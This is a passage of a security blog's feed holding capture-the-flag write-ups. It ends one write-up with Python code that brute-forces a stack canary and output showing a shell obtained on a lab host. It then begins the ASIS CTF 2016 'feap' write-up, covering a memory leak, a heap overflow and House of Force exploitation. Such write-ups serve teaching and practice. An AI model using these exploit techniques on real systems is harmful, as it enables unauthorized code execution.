&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        p = &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32 &lt;&#x2F;span&gt;&lt;span&gt;+ prefix + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(i)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;xsend&lt;&#x2F;span&gt;&lt;span&gt;(s, p, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(p) )
&lt;&#x2F;span&gt;&lt;span&gt;        res = s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        res2 = s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;res2 != &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Child exit.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;:      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# if we don&amp;#39;t get the &amp;quot;Child exit.&amp;quot; message, then our current value is correct
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(i)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;None
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Once we have the value of the first byte, we resume the same operation with the
2nd and so on, until having the 4 bytes forming the canary.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;leak_canary&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    can = &amp;quot;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        b = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;leak_canary_byte&lt;&#x2F;span&gt;&lt;span&gt;(s, can, i)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;b is &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;err&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bail&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Found canary[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;]=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%.2x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;%(i, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(b)))
&lt;&#x2F;span&gt;&lt;span&gt;        can += b
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;can
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We know control the execution flow without triggering the &lt;code&gt;canary_fail()&lt;&#x2F;code&gt;
function. All we need to do is build the shellcode using regular ROP. Since the
binary is statically compiled, we have more gadgets than we need.&lt;&#x2F;p&gt;
&lt;p&gt;So wrap this all up in a
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;0f196cfb8c62a4c56fdbc424cb7883bf&quot;&gt;final exploit&lt;&#x2F;a&gt;
and you have code execution:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt; $ .&#x2F;feedme.py                                                                                                                                                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;18:58&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Connected to 172.28.128.4:4092
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Leaking canary using BROP
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Found canary&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=00
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Found canary&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=0c
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Found canary&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=77
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Found canary&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=9a
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Using canary &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0x9a770c00&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Building shellcode
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Sending shellcode
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Switching to interactive...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Get a PTY with &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; python -c &amp;quot;import pty;pty.spawn(&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)&amp;quot;   &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;id
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;uid&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;vagrant&lt;&#x2F;span&gt;&lt;span&gt;) gid=1000(vagrant) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;groups&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;vagrant&lt;&#x2F;span&gt;&lt;span&gt;),4(adm)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,24&lt;&#x2F;span&gt;&lt;span&gt;(cdrom)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,27&lt;&#x2F;span&gt;&lt;span&gt;(sudo)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,30&lt;&#x2F;span&gt;&lt;span&gt;(dip)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,46&lt;&#x2F;span&gt;&lt;span&gt;(plugdev)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,115&lt;&#x2F;span&gt;&lt;span&gt;(lpadmin)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,116&lt;&#x2F;span&gt;&lt;span&gt;(sambashare)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;You&lt;&#x2F;span&gt;&lt;span&gt; ran out of time, closing!
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And find the flag &lt;code&gt;The flag is: It&#x27;s too bad! we c0uldn&#x27;t??! d0 the R0P CHAIN BLIND TOO&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ASIS CTF 2016 - feap write-up</title>
        <published>2016-05-09T00:00:00+00:00</published>
        <updated>2016-05-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-05-09-asis-ctf-2016-feap/"/>
        <id>https://blahcat.github.io/2016-05-09-asis-ctf-2016-feap/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-05-09-asis-ctf-2016-feap/">&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;p&gt;As usual, the vulnerable file is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!kNQl3T7Q!_CvMsWhagy3N95aGn9gfA_TouTk6VaFPXavgDme-sX8&quot;&gt;here&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file .&#x2F;feap
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;feap:&lt;&#x2F;span&gt;&lt;span&gt; ELF 64-bit LSB executable, x86-64, version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dynamically linked, interpreter &#x2F;lib64&#x2F;ld-linux-x86-64.so.2, for GNU&#x2F;Linux 2.6.24, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=67b9e845e43f9d9b32307836545c649d0390c822, stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;home&#x2F;vagrant&#x2F;feap&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary:&lt;&#x2F;span&gt;&lt;span&gt;                                           Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support:                                      No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;No&lt;&#x2F;span&gt;&lt;span&gt; RPATH:                                         Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;No&lt;&#x2F;span&gt;&lt;span&gt; RUNPATH:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                    Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                       No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;feap&lt;&#x2F;code&gt; is a binary that allows you to add&#x2F;edit&#x2F;delete a list of notes. The
notes are stored in a table locate in the &lt;code&gt;.bss&lt;&#x2F;code&gt; at 0x6020a8. This table can
hold 20 notes. A note has the following structure:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;00000000&lt;&#x2F;span&gt;&lt;span&gt; struct __notes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;00000000&lt;&#x2F;span&gt;&lt;span&gt; name            db 64 dup(?)     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# 64 bytes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;00000040&lt;&#x2F;span&gt;&lt;span&gt; body            dq               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# sizeof(malloc-ed block)-64
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;00000048&lt;&#x2F;span&gt;&lt;span&gt; __notes         ends
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For each note at offset &lt;em&gt;i&lt;&#x2F;em&gt;, the &lt;strong&gt;total&lt;&#x2F;strong&gt; size of the malloc-block can be found
at the offset &lt;em&gt;i&lt;&#x2F;em&gt; of the table &lt;code&gt;notes_sizes&lt;&#x2F;code&gt; located at 0x6020b0,
i.e. &lt;code&gt;notes_sizes[i] = sizeof(notes[i])&lt;&#x2F;code&gt;.
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;AhFMZH6.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;AhFMZH6.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To manipulate the notes, the program offers several options via a simple menu with
different choices:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;function at 0x400D2B allows to add new notes (later called &lt;code&gt;add_note()&lt;&#x2F;code&gt;),&lt;&#x2F;li&gt;
&lt;li&gt;function at 0x400C5A allows to delete new notes (later called &lt;code&gt;del_note()&lt;&#x2F;code&gt;),&lt;&#x2F;li&gt;
&lt;li&gt;function at 0x400AFC allows to edit a note (later called &lt;code&gt;edit_note()&lt;&#x2F;code&gt;),&lt;&#x2F;li&gt;
&lt;li&gt;function at 0x40096D allows to print all notes (later called &lt;code&gt;print_all_notes()&lt;&#x2F;code&gt;),&lt;&#x2F;li&gt;
&lt;li&gt;function at 0x0400A1D allows to print one note (later called &lt;code&gt;print_note()&lt;&#x2F;code&gt;),&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;exit()&lt;&#x2F;code&gt; the program&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;Two vulnerabilities were found:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;a lack of boundary check in &lt;code&gt;print_note()&lt;&#x2F;code&gt; function allows to read at
arbitrary address of the memory space;&lt;&#x2F;li&gt;
&lt;li&gt;a heap overflow in the &lt;code&gt;edit_note()&lt;&#x2F;code&gt; function allows to overwrite adjacent
chunks.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;memory-leak&quot;&gt;Memory leak&lt;&#x2F;h4&gt;
&lt;p&gt;When printing a specific note, the user is prompted for a note index. However,
this index is not checked, meaning that any submitted value outside the boundary
of the &lt;code&gt;notes&lt;&#x2F;code&gt; table (i.e. between [0, 19]) will leak the process memory.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;print_note&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; result; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; rax@2
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;unsigned int&lt;&#x2F;span&gt;&lt;span&gt; v1; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; [sp+Ch] [bp-4h]@1
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Please enter note id to print: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;__isoc99_scanf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;amp;v1);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;( notes[v1] ) {
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ID: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, v1);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Title: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, notes[v1]);
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Body: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;amp;notes[v1]-&amp;gt;body);
&lt;&#x2F;span&gt;&lt;span&gt;     result = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;LL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;notes&lt;&#x2F;code&gt; and &lt;code&gt;notes_sizes&lt;&#x2F;code&gt; are 2 adjacently allocated chunks of size 160
bytes. This implies that attempting to reach &lt;code&gt;notes[20]&lt;&#x2F;code&gt; will land in
&lt;code&gt;notes_sizes&lt;&#x2F;code&gt; &lt;code&gt;prev_size&lt;&#x2F;code&gt; section, and &lt;code&gt;notes[21]&lt;&#x2F;code&gt; in &lt;code&gt;notes_sizes&lt;&#x2F;code&gt; &lt;code&gt;size&lt;&#x2F;code&gt;
section. So by accessing &lt;code&gt;notes[22]&lt;&#x2F;code&gt; we will attempt to read the content pointed
by &lt;code&gt;notes_sizes[0]&lt;&#x2F;code&gt;.
So to read at address &lt;code&gt;ADDR&lt;&#x2F;code&gt; in the memory layout, we must:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;create a note of size &lt;code&gt;ADDR&lt;&#x2F;code&gt;-64&lt;&#x2F;li&gt;
&lt;li&gt;print the note at offset 22&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;(as implemented in
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;de228ac01bae2125481cae00790a3a88#file-gef-exploit-py-L77&quot;&gt;leak_memory function&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;This leak not only allows us to dump heap addresses, but also GOT addresses
(such as &lt;code&gt;puts@got&lt;&#x2F;code&gt;, &lt;code&gt;free@got&lt;&#x2F;code&gt;, &lt;code&gt;printf@got&lt;&#x2F;code&gt;) etc. which defeats the library
randomization.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;heap-overflow&quot;&gt;Heap overflow&lt;&#x2F;h4&gt;
&lt;p&gt;The function &lt;code&gt;edit_note()&lt;&#x2F;code&gt;, allows to edit the
content of a note, by editing its name of its body.&lt;&#x2F;p&gt;
&lt;p&gt;When editing the body, the function calls &lt;code&gt;fgets()&lt;&#x2F;code&gt; on &lt;code&gt;note[i]-&amp;gt;body&lt;&#x2F;code&gt;, but with
a size to read of the entire chunk (name + body).
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;3ywKzd7.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;3ywKzd7.png&quot;

    

    
    title=&quot;edit_note_overflow&quot;
    alt=&quot;edit_note_overflow&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So we have 64 bytes (i.e. sizeof(note.name) ) that we can overwrite in the next chunk.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;p&gt;On top of the vulnerabilities mentioned earlier, we have total control over the
size of a call to &lt;code&gt;malloc()&lt;&#x2F;code&gt; in the
&lt;code&gt;add_note()&lt;&#x2F;code&gt; function (at 0x400DAE). This is the perfect scenario for a &lt;strong&gt;House
of Force&lt;&#x2F;strong&gt; exploitation.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;strong&gt;House of Force&lt;&#x2F;strong&gt; technique has already been used in
&lt;a href=&quot;&#x2F;posts&#x2F;2016&#x2F;03&#x2F;21&#x2F;bctf-16-ruin.html&quot;&gt;previous post&lt;&#x2F;a&gt; so I
won’t detail it as much (no pretty ascii art this time ). But the idea stays the
same:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;allocate a first note;&lt;&#x2F;li&gt;
